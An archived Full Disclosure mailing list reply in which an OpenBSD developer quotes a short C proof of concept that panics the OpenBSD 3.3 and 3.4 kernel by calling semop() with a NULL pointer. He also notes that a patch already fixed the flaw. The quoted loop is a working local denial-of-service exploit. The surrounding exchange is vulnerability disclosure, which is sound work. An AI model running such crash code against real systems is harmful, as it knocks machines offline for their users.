Full Disclosure mailing list archives

Re: yet another panic() in OpenBSD


From: Henning Brauer <henning () openbsd org>
Date: Sat, 22 Nov 2003 15:14:35 +0100

On Fri, Nov 21, 2003 at 05:43:33PM -0500, noir () uberhax0r net wrote:

a project lacking the basic QA and unit testing and here is the outcome:

#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>

int
main()
{
    int i;

        for(i = 0; i < 0x40; i++)
                semop(i, (struct sembuf *) NULL, 0);

}


PANIC in OpenBSD 3.3 and 3.4 is confirmed.

please note that patch 008 for OpenBSD 3.4 / 013 for OpenBSD 3.3 fixes that
issue.
This patch was out _before_ the above post.

It's not really hard to look at the patch and post to fd afterwards...

-- 
Henning Brauer, BS Web Services, http://bsws.de
hb () bsws de - henning () openbsd org
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: